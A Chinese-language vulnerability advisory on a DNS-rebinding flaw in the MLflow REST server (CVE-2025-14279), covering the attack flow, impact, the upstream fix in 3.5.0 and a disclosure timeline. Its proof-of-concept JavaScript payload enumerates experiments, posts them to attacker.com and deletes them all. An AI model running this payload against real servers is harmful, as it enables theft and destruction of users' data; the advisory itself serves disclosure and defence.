MLflow 因缺少 Origin 校验导致的数据外泄与破坏(DNS 重绑定)
作者: Evan Harris
风险: 高(CVSS 8.1,CVE-2025-14279)
受影响组件: MLflow REST 服务器(mlflow/mlflow),版本直至 3.4.0(含)
TL;DR
MLflow REST 服务器不校验传入请求的 Origin 或 Host 头,使其易受 DNS 重绑定攻击。在本地运行 mlflow server 并随后访问恶意网站的受害者,其浏览器可能被变成一个能够访问回环接口的代理,从而绕过同源策略。由于 REST API 上没有身份验证,攻击者可获得完整的读写权限:他们可以枚举实验、将数据外泄到外部主机,并直接删除实验。该问题被分配了 CVE-2025-14279(CVSS 8.1,高),并在 MLflow 3.5.0 中修复,该版本新增了 Host 头校验和跨源请求拦截。用户应升级到 3.5.0 或更高版本。
背景
MLflow 的跟踪服务器暴露了一个 REST API(通常在 http://localhost:5000 上),Web UI 和客户端库使用它来创建、搜索、更新和删除实验与运行。默认情况下,服务器在没有身份验证的情况下运行,其假设是绑定到 localhost 就能保持私密性。
这一假设在 DNS 重绑定下被打破。浏览器的同源策略本应阻止一个从 attacker.com 提供的页面读取来自 localhost:5000 的响应,但重绑定通过在页面加载后改变主机名的解析结果来绕过它。由于 MLflow 服务器接受请求时不检查其来源,受害者访问的任何网站都可以驱动本地 API。
概述
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
攻击场景
- 受害者克隆 MLflow 并以默认配置在本地运行服务器(
mlflow server),并在过程中生成了一些实验。 - 攻击者搭建一个 DNS 重绑定实验环境,例如 NCC Group 的 Singularity of Origin,并将下面的载荷放入该框架的 payloads 目录。
- 受害者访问攻击者的网站,并在页面上停留足够长的时间(不到一分钟)以使重绑定发生。
- 攻击者的 DNS 服务器首先将主机名解析到其自身 IP,以便载荷加载,然后在之后的查询中返回
127.0.0.1。浏览器复用缓存的名称,因此页面的fetch调用会在保持原始 origin 的同时静默地转向localhost:5000。 - 由于 MLflow 服务器不执行任何 Origin 或 Host 校验,这些请求得以成功。攻击者枚举实验、将数据发送到
attacker.com,并删除这些实验。
概念验证
下面的载荷会向一个 DNS 重绑定框架注册。它将目标指纹识别为 MLflow 服务器,通过未经身份验证的 REST API 枚举实验,将结果外泄到攻击者控制的主机,然后删除每个实验。原始概念验证在此被浓缩为其功能性步骤。
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
影响
- 数据外泄: 实验元数据通过
experiments/search被读取并发送到攻击者控制的主机。 - 数据破坏: 实验通过
experiments/delete被删除。 - 数据篡改: 相同的未经身份验证的写入权限允许对实验执行更新操作。
- 无需凭据: 该攻击对默认的
mlflow server部署有效,只需要受害者在服务器运行期间访问一个恶意页面。
MLflow 的响应
在我们通过 MLflow 的协同披露流程披露该问题后,维护者在拉取请求 #17910 中对其进行了处理。
该修复为服务器引入了一个安全中间件层,它会:
- 根据允许列表(默认为 localhost 和私有 IP 段)校验
Host头,以阻止 DNS 重绑定。 - 拦截来自非 localhost 源的、会改变状态的跨源请求(POST、PUT、DELETE、PATCH)。
- 添加防御性响应头(
X-Frame-Options: SAMEORIGIN、X-Content-Type-Options: nosniff)。
对于确实需要更广泛访问的部署,提供了新的配置项,包括 --allowed-hosts(MLFLOW_SERVER_ALLOWED_HOSTS)和 --cors-allowed-origins(MLFLOW_SERVER_CORS_ALLOWED_ORIGINS)。这些保护措施在 MLflow 3.5.0 中发布,该问题之后被分配了 CVE-2025-14279(CVSS 8.1,高;CWE-346,Origin 校验错误)。
建议
面向最终用户
- 升级到 MLflow 3.5.0 或更高版本。
- 保持默认的
--allowed-hosts和--cors-allowed-origins设置,除非你有特定理由需要放宽它们,并且切勿在暴露的服务器上禁用安全中间件。 - 不要将 MLflow 服务器绑定到公共或不受信任的网络,如果它必须在 localhost 之外可达,请在其前面加上身份验证或反向代理。
- 将本地绑定的服务器视为可从浏览器访问:在浏览不受信任的站点时,关闭或隔离本地 MLflow 实例。
时间线
| 日期 | 事件 |
|---|---|
| September 22, 2025 | 通过协同披露向 MLflow 维护者报告漏洞(issue #17877) |
| October 6, 2025 | MLflow 合并修复(PR #17910),在 v3.5.0 中发布 |
| January 12, 2026 | CVE-2025-14279 公布(CVSS 8.1,高) |
| June 8, 2026 | 公开披露 |